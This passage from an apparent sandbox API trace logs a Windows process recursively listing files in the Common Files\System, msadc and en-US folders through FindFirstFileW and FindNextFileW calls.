ftCreationTime.dwLowDateTime=0x99b80ab9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99b80ab9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99bccd79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0249.309] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab15afe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab15afe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab15afe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0249.310] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab15afe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab15afe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab15afe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0249.310] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab3bc5e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0249.310] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab3bc5e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0249.310] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab87f1f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab87f1f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab87f1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0249.312] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abd41df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8abd41df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8abd41df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0249.312] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dae14ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9dae14ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dae14ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0249.312] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6fc88a7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6fc88a7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb6f0a1cc, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0249.313] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f0bf91, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0249.313] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9c1e89, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e9c1e89, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e9e7fe9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0249.315] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e25992, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6e25992, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb6db3575, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0249.315] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb775ee94, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb775ee94, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b894690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0249.315] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831d597f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 1 [0249.315] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831d597f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 0 [0249.315] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0249.315] GetProcessHeap () returned 0x550000 [0249.315] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0249.315] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886e43c6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x886e43c6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x89202410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0249.316] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0249.316] GetProcessHeap () returned 0x550000 [0249.316] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0249.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\en-US\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0249.316] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.316] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0249.316] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3de6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc9e3de6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0249.316] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0249.317] GetProcessHeap () returned 0x550000 [0249.317] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0249.317] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0249.317] GetProcessHeap () returned 0x550000 [0249.317] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0249.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\msadc\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0249.328] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.328] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6f591, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x1d6f591, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab5525a7, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0249.328] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d956f0, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x1d956f0, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab636de1, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0249.328] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0249.328] GetProcessHeap () returned 0x550000 [0249.328] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0249.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0249.339] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.339] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9af1ce, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9af1ce, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0249.339] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0249.339] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa219f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xaa219f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0249.339] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2d3490, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa2d3490, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0249.339] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc35461a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc35461a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0249.340] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa286f1e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa286f1e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0249.340] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa286f1e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa286f1e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0249.340] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0249.341] GetProcessHeap () returned 0x550000 [0249.341] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c9a97c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0x22c9a97c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0x22c9a97c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8dd6e4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0x6f8dd6e4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x22f4823c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930aeeb4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x930aeeb4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x930d5014, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x89000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b5cb2a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0b5cb2a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5f8ffe50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b9ffeb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b9ffeb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b9ffeb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c41364, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0c41364, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5f926f50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b79e8a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b79e8a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b9ffeb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x34000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e0a3d8, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0e0a3d8, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fa0a020, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad9d263, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad9d263, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad9d263, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", 